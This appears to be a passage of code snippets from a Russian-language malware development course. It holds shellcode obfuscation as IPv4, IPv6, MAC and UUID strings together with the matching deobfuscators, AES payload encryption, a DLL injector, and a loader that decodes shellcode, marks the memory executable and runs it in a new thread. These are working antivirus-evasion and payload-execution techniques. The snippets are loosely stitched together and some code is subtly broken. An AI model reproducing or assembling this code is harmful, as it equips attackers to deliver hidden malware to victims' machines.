  STATUS = BCryptGetProperty(hAlgorithm, BCRYPT_BLOCK_LENGTH, (PBYTE)&dwBlockSize, sizeof(DWORD), &cbResult, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptGetProperty[2] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Checking if block size is 16 bytes
  if (dwBlockSize != 16) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Allocating memory for the key object
  pbKeyObject = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbKeyObject);
  if (pbKeyObject == NULL) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Setting Block Cipher Mode to CBC. This uses a 32 byte key and a 16 byte IV.
  STATUS = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptSetProperty Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Generating the key object from the AES key "pAes->pKey". The output will be saved in pbKeyObject of size cbKeyObject
  STATUS = BCryptGenerateSymmetricKey(hAlgorithm, &hKeyHandle, pbKeyObject, cbKeyObject, (PBYTE)pAes->pKey, KEYSIZE, 0);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptGenerateSymmetricKey Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Running BCryptDecrypt first time with NULL output parameters to retrieve the size of the output buffer which is saved in cbPlainText
  STATUS = BCryptDecrypt(hKeyHandle, (PUCHAR)pAes->pCipherText, (ULONG)pAes->dwCipherSize, NULL, pAes->pIv, IVSIZE, NULL, 0, &cbPlainText, BCRYPT_BLOCK_PADDING);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptDecrypt[1] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Allocating enough memory for the output buffer, cbPlainText
  pbPlainText = (PBYTE)HeapAlloc(GetProcessHeap(), 0, cbPlainText);
  if (pbPlainText == NULL) {
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Running BCryptDecrypt again with pbPlainText as the output buffer
  STATUS = BCryptDecrypt(hKeyHandle, (PUCHAR)pAes->pCipherText, (ULONG)pAes->dwCipherSize, NULL, pAes->pIv, IVSIZE, pbPlainText, cbPlainText, &cbResult, BCRYPT_BLOCK_PADDING);
  if (!NT_SUCCESS(STATUS)) {
        printf("[!] BCryptDecrypt[2] Failed With Error: 0x%0.8X \n", STATUS);
        bSTATE = FALSE; goto _EndOfFunc;
  }

  // Clean up
_EndOfFunc:
  if (hKeyHandle)
        BCryptDestroyKey(hKeyHandle);
  if (hAlgorithm)
        BCryptCloseAlgorithmProvider(hAlgorithm, 0);
  if (pbKeyObject)
        HeapFree(GetProcessHeap(), 0, pbKeyObject);
  if (pbPlainText != NULL && bSTATE) {
        // if everything went well, we save pbPlainText and cbPlainText
        pAes->pPlainText   = pbPlainText;
        pAes->dwPlainSize  = cbPlainText;
  }
  return bSTATE;

}

// Вывод входного буфера в виде шестнадцатеричного массива символов
VOID PrintHexData(LPCSTR Name, PBYTE Data, SIZE_T Size) {

  printf("unsigned char %s[] = {", Name);

  for (int i = 0; i < Size; i++) {
        if (i % 16 == 0)
              printf("\n\t");

        if (i < Size - 1) {
            printf("0x%0.2X, ", Data[i]);
        else
              printf("0x%0.2X ", Data[i]);
  }

  printf("};\n\n\n");

}

// Генерация случайных байт заданного размера
VOID GenerateRandomBytes(PBYTE pByte, SIZE_T sSize) {

  for (int i = 0; i < sSize; i++) {
        pByte[i] = (BYTE)rand() % 0xFF;
  }

}

// The plaintext, in hex format, that will be encrypted
// this is the following string in hex "This is a plain text string, we'll try to encrypt/decrypt !"
unsigned char Data[] = {
    0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x70, 0x6C,
    0x61, 0x69, 0x6E, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x73, 0x74, 0x72,
    0x69, 0x6E, 0x67, 0x2C, 0x20, 0x77, 0x65, 0x27, 0x6C, 0x6C, 0x20, 0x74,
    0x72, 0x79, 0x20, 0x74, 0x6F, 0x20, 0x65, 0x6E, 0x63, 0x72, 0x79, 0x70,
    0x74, 0x2F, 0x64, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x20, 0x21
};

int main() {

    BYTE pKey [KEYSIZE];                    // KEYSIZE is 32 bytes
    BYTE pIv [IVSIZE];                      // IVSIZE is 16 bytes

    srand(time(NULL));                      // The seed to generate the key. This is used to further randomize the key.
    GenerateRandomBytes(pKey, KEYSIZE);     // Generating a key with the helper function

    srand(time(NULL) ^ pKey[0]);            // The seed to generate the IV. Use the first byte of the key to add more randomness.
    GenerateRandomBytes(pIv, IVSIZE);       // Generating the IV with the helper function

    // Printing both key and IV onto the console
    PrintHexData("pKey", pKey, KEYSIZE);
    PrintHexData("pIv", pIv, IVSIZE);

    // Defining two variables the output buffer and its respective size which will be used in SimpleEncryption
    PVOID pCipherText = NULL;
    DWORD dwCipherSize = NULL;

    // Encrypting
    if (!SimpleEncryption(Data, sizeof(Data), pKey, pIv, &pCipherText, &dwCipherSize)) {
        return -1;
    }

    // Print the encrypted buffer as a hex array
    PrintHexData("CipherText", pCipherText, dwCipherSize);

    // Clean up
    HeapFree(GetProcessHeap(), 0, pCipherText);
    system("PAUSE");
    return 0;
}

// the key printed to the screen
unsigned char pKey[] = {
        0x3E, 0x31, 0xF4, 0x00, 0x50, 0xB6, 0x6E, 0xB8, 0xF6, 0x98, 0x95, 0x27, 0x43, 0x27, 0xC0, 0x55,
        0xEB, 0xDB, 0xE1, 0x7F, 0x05, 0xFE, 0x65, 0x6D, 0x0F, 0xA6, 0x5B, 0x00, 0x33, 0xE6, 0xD9, 0x0B };

// the iv printed to the screen
unsigned char pIv[] = {
        0xB4, 0xC8, 0x1D, 0x1D, 0x14, 0x7C, 0xCB, 0xFA, 0x07, 0x42, 0xD9, 0xED, 0x1A, 0x86, 0xD9, 0xCD };


// the encrypted buffer printed to the screen, which is:
unsigned char CipherText[] = {
        0x97, 0xFC, 0x24, 0xFE, 0x97, 0x64, 0xDF, 0x61, 0x81, 0xD8, 0xC1, 0x9E, 0x23, 0x30, 0x79, 0xA1,
        0xD3, 0x97, 0x5B, 0xAE, 0x29, 0x7F, 0x70, 0xB9, 0xC1, 0xEC, 0x5A, 0x09, 0xE3, 0xA4, 0x44, 0x67,
        0xD6, 0x12, 0xFC, 0xB5, 0x86, 0x64, 0x0F, 0xE5, 0x74, 0xF9, 0x49, 0xB3, 0x0B, 0xCA, 0x0C, 0x04,
        0x17, 0xDB, 0xEF, 0xB2, 0x74, 0xC2, 0x17, 0xF6, 0x34, 0x60, 0x33, 0xBA, 0x86, 0x84, 0x85, 0x5E };

int main() {

    // Defining two variables the output buffer and its respective size which will be used in SimpleDecryption
    PVOID    pPlaintext  = NULL;
    DWORD    dwPlainSize = NULL;

    // Decrypting
    if (!SimpleDecryption(CipherText, sizeof(CipherText), pKey, pIv, &pPlaintext, &dwPlainSize)) {
        return -1;
    }

    // Printing the decrypted data to the screen in hex format
    PrintHexData("PlainText", pPlaintext, dwPlainSize);

    // this will print: "This is a plain text string, we'll try to encrypt/decrypt !"
    printf("Data: %s \n", pPlaintext);

    // Clean up
    HeapFree(GetProcessHeap(), 0, pPlaintext);
    system("PAUSE");
    return 0;
}

// Function takes in 4 raw bytes and returns them in an IPv4 string format
char* GenerateIpv4(int a, int b, int c, int d) {
    unsigned char Output [32];

    // Creating the IPv4 address and saving it to the 'Output' variable
    sprintf(Output, "%d.%d.%d.%d", a, b, c, d);

    // Optional: Print the 'Output' variable to the console
    // printf("[i] Output: %s\n", Output);

    return (char*)Output;
}


// Generate the IPv4 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv4Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {

    // If the shellcode buffer is null or the size is not a multiple of 4, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 4 != 0){
        return FALSE;
    }
    printf("char* Ipv4Array[%d] = { \n\t", (int)(ShellcodeSize / 4));

    // We will read one shellcode byte at a time, when the total is 4, begin generating the IPv4 address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 4.
    int c = 4, counter = 0;
    char* IP = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {

        // Track the number of bytes read and when they reach 4 we enter this if statement to begin generating the IPv4 address
        if (c == 4) {
            counter++;

            // Generating the IPv4 address from 4 bytes which begin at i until [i + 3]
            IP = GenerateIpv4(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3]);

            if (i == ShellcodeSize - 4) {
                // Printing the last IPv4 address
                printf("\"%s\"", IP);
                break;
            }
            else {
                // Printing the IPv4 address
                printf("\"%s\", ", IP);
            }

            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 8 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}

// Function takes in 16 raw bytes and returns them in an IPv6 address string format
char* GenerateIpv6(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {

    // Each IPv6 segment is 32 bytes
    char Output0[32], Output1[32], Output2[32], Output3[32];

    // There are 4 segments in an IPv6 (32 * 4 = 128)
    char result[128];

    // Generating output0 using the first 4 bytes
    sprintf(Output0, "%0.2X%0.2X:%0.2X%0.2X", a, b, c, d);

    // Generating output1 using the second 4 bytes
    sprintf(Output1, "%0.2X%0.2X:%0.2X%0.2X", e, f, g, h);

    // Generating output2 using the third 4 bytes
    sprintf(Output2, "%0.2X%0.2X:%0.2X%0.2X", i, j, k, l);

    // Generating output3 using the last 4 bytes
    sprintf(Output3, "%0.2X%0.2X:%0.2X%0.2X", m, n, o, p);

    // Combining Output0,1,2,3 to generate the IPv6 address
    sprintf(result, "%s:%s:%s:%s", Output0, Output1, Output2, Output3);

    // Optional: Print the 'result' variable to the console
    // printf("[i] result: %s\n", (char*)result);

    return (char*)result;
}


// Generate the IPv6 output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateIpv6Output(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
    // If the shellcode buffer is null or the size is not a multiple of 16, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0){
        return FALSE;
    }
    printf("char* Ipv6Array [%d] = { \n\t", (int)(ShellcodeSize / 16));

    // We will read one shellcode byte at a time, when the total is 16, begin generating the IPv6 address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 16.
    int c = 16, counter = 0;
    char* IP = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {
        // Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the IPv6 address
        if (c == 16) {
            counter++;

            // Generating the IPv6 address from 16 bytes which begin at i until [i + 15]
            IP = GenerateIpv6(
                pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
                pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
                pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
                pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
            );
            if (i == ShellcodeSize - 16) {

                // Printing the last IPv6 address
                printf("\"%s\"", IP);
                break;
            }
            else {
                // Printing the IPv6 address
                printf("\"%s\", ", IP);
            }
            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 3 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}

typedef NTSTATUS (NTAPI* fnRtlIpv4StringToAddressA)(
    PCSTR        S,
    BOOLEAN        Strict,
    PCSTR*        Terminator,
       PVOID        Addr
);

BOOL Ipv4Deobfuscation(IN CHAR* Ipv4Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

    PBYTE           pBuffer                 = NULL,
                    TmpBuffer               = NULL;

    SIZE_T          sBuffSize               = NULL;

    PCSTR           Terminator              = NULL;

    NTSTATUS        STATUS                  = NULL;

    // Getting RtlIpv4StringToAddressA address from ntdll.dll
    fnRtlIpv4StringToAddressA pRtlIpv4StringToAddressA = (fnRtlIpv4StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv4StringToAddressA");
    if (pRtlIpv4StringToAddressA == NULL){
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Getting the real size of the shellcode which is the number of IPv4 addresses * 4
    sBuffSize = NmbrOfElements * 4;

    // Allocating memory which will hold the deobfuscated shellcode
    pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
    if (pBuffer == NULL){
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Setting TmpBuffer to be equal to pBuffer
    TmpBuffer = pBuffer;

    // Loop through all the IPv4 addresses saved in Ipv4Array
    for (int i = 0; i < NmbrOfElements; i++) {

        // Deobfuscating one IPv4 address at a time
        // Ipv4Array[i] is a single ipv4 address from the array Ipv4Array
        if ((STATUS = pRtlIpv4StringToAddressA(Ipv4Array[i], FALSE, &Terminator, TmpBuffer)) != 0x0) {
            // if it failed
            printf("[!] RtlIpv4StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv4Array[i], STATUS);
            return FALSE;
        }

        // 4 bytes are written to TmpBuffer at a time
        // Therefore Tmpbuffer will be incremented by 4 to store the upcoming 4 bytes
        TmpBuffer = (PBYTE)(TmpBuffer + 4);

    }

    // Save the base address & size of the deobfuscated payload
    *ppDAddress     = pBuffer;
    *pDSize         = sBuffSize;

    return TRUE;
}

typedef NTSTATUS(NTAPI* fnRtlIpv6StringToAddressA)(
    PCSTR        S,
    PCSTR*        Terminator,
    PVOID        Addr
);

BOOL Ipv6Deobfuscation(IN CHAR* Ipv6Array[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

    PBYTE           pBuffer                 = NULL,
                    TmpBuffer               = NULL;

    SIZE_T          sBuffSize               = NULL;

    PCSTR           Terminator              = NULL;

    NTSTATUS        STATUS                  = NULL;

    // Getting RtlIpv6StringToAddressA address from ntdll.dll
    fnRtlIpv6StringToAddressA pRtlIpv6StringToAddressA = (fnRtlIpv6StringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlIpv6StringToAddressA");
    if (pRtlIpv6StringToAddressA == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Getting the real size of the shellcode which is the number of IPv6 addresses * 16
    sBuffSize = NmbrOfElements * 16;


    // Allocating memory which will hold the deobfuscated shellcode
    pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
    if (pBuffer == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    TmpBuffer = pBuffer;

    // Loop through all the IPv6 addresses saved in Ipv6Array
    for (int i = 0; i < NmbrOfElements; i++) {

        // Deobfuscating one IPv6 address at a time
        // Ipv6Array[i] is a single IPv6 address from the array Ipv6Array
        if ((STATUS = pRtlIpv6StringToAddressA(Ipv6Array[i], &Terminator, TmpBuffer)) != 0x0) {
            // if it failed
            printf("[!] RtlIpv6StringToAddressA Failed At [%s] With Error 0x%0.8X", Ipv6Array[i], STATUS);
            return FALSE;
        }

        // 16 bytes are written to TmpBuffer at a time
        // Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
        TmpBuffer = (PBYTE)(TmpBuffer + 16);

    }

    // Save the base address & size of the deobfuscated payload
    *ppDAddress  = pBuffer;
    *pDSize      = sBuffSize;

    return TRUE;

}

// Function takes in 6 raw bytes and returns them in a MAC address string format
char* GenerateMAC(int a, int b, int c, int d, int e, int f) {
    char Output[64];

    // Creating the MAC address and saving it to the 'Output' variable
    sprintf(Output, "%0.2X-%0.2X-%0.2X-%0.2X-%0.2X-%0.2X",a, b, c, d, e, f);

    // Optional: Print the 'Output' variable to the console
    // printf("[i] Output: %s\n", Output);

    return (char*)Output;
}

// Generate the MAC output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateMacOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {

    // If the shellcode buffer is null or the size is not a multiple of 6, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 6 != 0){
        return FALSE;
    }
    printf("char* MacArray [%d] = {\n\t", (int)(ShellcodeSize / 6));

    // We will read one shellcode byte at a time, when the total is 6, begin generating the MAC address
    // The variable 'c' is used to store the number of bytes read. By default, starts at 6.
    int c = 6, counter = 0;
    char* Mac = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {

        // Track the number of bytes read and when they reach 6 we enter this if statement to begin generating the MAC address
        if (c == 6) {
            counter++;

            // Generating the MAC address from 6 bytes which begin at i until [i + 5]
            Mac = GenerateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5]);

            if (i == ShellcodeSize - 6) {

                // Printing the last MAC address
                printf("\"%s\"", Mac);
                break;
            }
            else {
                // Printing the MAC address
                printf("\"%s\", ", Mac);
            }
            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 6 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}

typedef NTSTATUS (NTAPI* fnRtlEthernetStringToAddressA)(
    PCSTR        S,
    PCSTR*         Terminator,
    PVOID        Addr
);

BOOL MacDeobfuscation(IN CHAR* MacArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

    PBYTE          pBuffer        = NULL,
                   TmpBuffer      = NULL;

    SIZE_T         sBuffSize      = NULL;

    PCSTR          Terminator     = NULL;

    NTSTATUS       STATUS         = NULL;

    // Getting RtlIpv6StringToAddressA address from ntdll.dll
    fnRtlEthernetStringToAddressA pRtlEthernetStringToAddressA = (fnRtlEthernetStringToAddressA)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "RtlEthernetStringToAddressA");
    if (pRtlEthernetStringToAddressA == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Getting the real size of the shellcode which is the number of MAC addresses * 6
    sBuffSize = NmbrOfElements * 6;


    // Allocating memeory which will hold the deobfuscated shellcode
    pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
    if (pBuffer == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    TmpBuffer = pBuffer;

    // Loop through all the MAC addresses saved in MacArray
    for (int i = 0; i < NmbrOfElements; i++) {

        // Deobfuscating one MAC address at a time
        // MacArray[i] is a single Mac address from the array MacArray
        if ((STATUS = pRtlEthernetStringToAddressA(MacArray[i], &Terminator, TmpBuffer)) != 0x0) {
            // if it failed
            printf("[!] RtlEthernetStringToAddressA Failed At [%s] With Error 0x%0.8X", MacArray[i], STATUS);
            return FALSE;
        }

        // 6 bytes are written to TmpBuffer at a time
        // Therefore Tmpbuffer will be incremented by 6 to store the
        TmpBuffer = (PBYTE)(TmpBuffer + 6);

    }

    // Save the base address & size of the deobfuscated payload
    *ppDAddress  = pBuffer;
    *pDSize      = sBuffSize;

    return TRUE;

}

// Function takes in 16 raw bytes and returns them in a UUID string format
char* GenerateUUid(int a, int b, int c, int d, int e, int f, int g, int h, int i, int j, int k, int l, int m, int n, int o, int p) {

    // Each UUID segment is 32 bytes
    char Output0[32], Output1[32], Output2[32], Output3[32];

    // There are 4 segments in a UUID (32 * 4 = 128)
    char result[128];

    // Generating output0 from the first 4 bytes
    sprintf(Output0, "%0.2X%0.2X%0.2X%0.2X", d, c, b, a);

    // Generating output1 from the second 4 bytes
    sprintf(Output1, "%0.2X%0.2X-%0.2X%0.2X", f, e, h, g);

    // Generating output2 from the third 4 bytes
    sprintf(Output2, "%0.2X%0.2X-%0.2X%0.2X", i, j, k, l);

    // Generating output3 from the last 4 bytes
    sprintf(Output3, "%0.2X%0.2X%0.2X%0.2X", m, n, o, p);

    // Combining Output0,1,2,3 to generate the UUID
    sprintf(result, "%s-%s-%s%s", Output0, Output1, Output2, Output3);

    //printf("[i] result: %s\n", (char*)result);
    return (char*)result;
}

// Generate the UUID output representation of the shellcode
// Function requires a pointer or base address to the shellcode buffer & the size of the shellcode buffer
BOOL GenerateUuidOutput(unsigned char* pShellcode, SIZE_T ShellcodeSize) {
    // If the shellcode buffer is null or the size is not a multiple of 16, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize % 16 != 0) {
        return FALSE;
    }
    printf("char* UuidArray[%d] = { \n\t", (int)(ShellcodeSize / 16));

    // We will read one shellcode byte at a time, when the total is 16, begin generating the UUID string
    // The variable 'c' is used to store the number of bytes read. By default, starts at 16.
    int c = 16, counter = 0;
    char* UUID = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {
        // Track the number of bytes read and when they reach 16 we enter this if statement to begin generating the UUID string
        if (c == 16) {
            counter++;

            // Generating the UUID string from 16 bytes which begin at i until [i + 15]
            UUID = GenerateUUid(
                pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3],
                pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7],
                pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11],
                pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15]
            );
            if (i == ShellcodeSize - 16) {

                // Printing the last UUID string
                printf("\"%s\"", UUID);
                break;
            }
            else {
                // Printing the UUID string
                printf("\"%s\", ", UUID);
            }
            c = 1;
            // Optional: To beautify the output on the console
            if (counter % 3 == 0) {
                printf("\n\t");
            }
        }
        else {
            c++;
        }
    }
    printf("\n};\n\n");
    return TRUE;
}

typedef RPC_STATUS (WINAPI* fnUuidFromStringA)(
    RPC_CSTR    StringUuid,
    UUID*        Uuid
);

BOOL UuidDeobfuscation(IN CHAR* UuidArray[], IN SIZE_T NmbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

        PBYTE          pBuffer         = NULL,
                       TmpBuffer       = NULL;

        SIZE_T         sBuffSize       = NULL;

        RPC_STATUS     STATUS          = NULL;

    // Getting UuidFromStringA address from Rpcrt4.dll
    fnUuidFromStringA pUuidFromStringA = (fnUuidFromStringA)GetProcAddress(LoadLibrary(TEXT("RPCRT4")), "UuidFromStringA");
    if (pUuidFromStringA == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Getting the real size of the shellcode which is the number of UUID strings * 16
    sBuffSize = NmbrOfElements * 16;

    // Allocating memory which will hold the deobfuscated shellcode
    pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sBuffSize);
    if (pBuffer == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        return FALSE;
    }

    // Setting TmpBuffer to be equal to pBuffer
    TmpBuffer = pBuffer;

    // Loop through all the UUID strings saved in UuidArray
    for (int i = 0; i < NmbrOfElements; i++) {

        // Deobfuscating one UUID string at a time
        // UuidArray[i] is a single UUID string from the array UuidArray
        if ((STATUS = pUuidFromStringA((RPC_CSTR)UuidArray[i], (UUID*)TmpBuffer)) != RPC_S_OK) {
            // if it failed
            printf("[!] UuidFromStringA Failed At [%s] With Error 0x%0.8X", UuidArray[i], STATUS);
            return FALSE;
        }

        // 16 bytes are written to TmpBuffer at a time
        // Therefore Tmpbuffer will be incremented by 16 to store the upcoming 16 bytes
        TmpBuffer = (PBYTE)(TmpBuffer + 16);

    }

    *ppDAddress = pBuffer;
    *pDSize     = sBuffSize;

    return TRUE;
}

#include <Windows.h>
#include <stdio.h>

VOID MsgBoxPayload() {
    MessageBoxA(NULL, "Hacking With ru-sfera.pw", "Wow !", MB_OK | MB_ICONINFORMATION);
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved){

    switch (dwReason){
        case DLL_PROCESS_ATTACH: {
            MsgBoxPayload();
            break;
        };
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }

    return TRUE;
}

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {

    if (argc < 2){
        printf("[!] Отсутствует аргумент; Нужно указать DLL для выполнения \n");
        return -1;
    }

    printf("[i] Внедрение \"%s\" в локальный процесс с PID: %d \n", argv[1], GetCurrentProcessId());

    printf("[+] Загрузка DLL... ");
    if (LoadLibraryA(argv[1]) == NULL) {
        printf("[!] LoadLibraryA завершилась с ошибкой: %d \n", GetLastError());
        return -1;
    }
    printf("[+] ГОТОВО ! \n");

    printf("[#] Нажмите <Enter>, чтобы выйти ... ");
    getchar();

    return 0;
}

HellShell.exe msfvenom.bin uuid

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,       // Базовый адрес региона памяти, доступ к которому должен быть изменен
  [in]  SIZE_T dwSize,          // Размер региона, атрибуты доступа к которому должны быть изменены, в байтах
  [in]  DWORD  flNewProtect,    // Новый параметр защиты памяти
  [out] PDWORD lpflOldProtect   // Указатель на переменную 'DWORD', которая получает предыдущее значение доступа к защите 'lpAddress'
);

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,    // Установлено в NULL - необязательно
  [in]            SIZE_T                  dwStackSize,           // Установлено в 0 - по умолчанию
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,        // Указатель на функцию, которая будет выполнена потоком, в нашем случае это базовый адрес полезной нагрузки
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,           // Указатель на переменную, которая будет передана функции, выполняемой (установлено в NULL - необязательно)
  [in]            DWORD                   dwCreationFlags,       // Установлено в 0 - по умолчанию
  [out, optional] LPDWORD                 lpThreadId             // указатель на переменную 'DWORD', которая получает ID потока (установлено в NULL - необязательно)
);

(*(VOID(*)()) pShellcodeAddress)();

typedef VOID (WINAPI* fnShellcodefunc)();       // Определено перед основной функцией
    fnShellcodefunc pShell = (fnShellcodefunc) pShellcodeAddress;
    pShell();

int main(){

    // ...

    CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL); // Выполнение shellcode
    return 0; // Основной поток завершен до выполнения потока, который выполняет shellcode
}

HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, 2000);

// Оставшийся код

HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);

int main() {

    PBYTE       pDeobfuscatedPayload  = NULL;
    SIZE_T      sDeobfuscatedSize     = NULL;

    printf("[i] Injecting Shellcode The Local Process Of Pid: %d \n", GetCurrentProcessId());
    printf("[#] Press <Enter> To Decrypt ... ");
    getchar();

    printf("[i] Decrypting ...");
    if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
        return -1;
    }
    printf("[+] DONE !\n");
    printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);

    printf("[#] Press <Enter> To Allocate ... ");
    getchar();
    PVOID pShellcodeAddress = VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pShellcodeAddress == NULL) {
        printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
        return -1;
    }
    printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);

    printf("[#] Press <Enter> To Write Payload ... ");
    getchar();
    memcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);
    memset(pDeobfuscatedPayload, '\0', sDeobfuscatedSize);

    DWORD dwOldProtection = NULL;

    if (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        return -1;
    }

    printf("[#] Press <Enter> To Run ... ");
    getchar();
    if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
        printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
        return -1;
    }

    HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}

BOOL VirtualFree(
  [in] LPVOID lpAddress,
  [in] SIZE_T dwSize,
  [in] DWORD  dwFreeType
);

// Создает снимок всех в данный момент выполняющихся процессов
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;              // Идентификатор процесса
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;        // Идентификатор родительского процесса
  LONG      pcPriClassBase;
  DWORD     dwFlags;
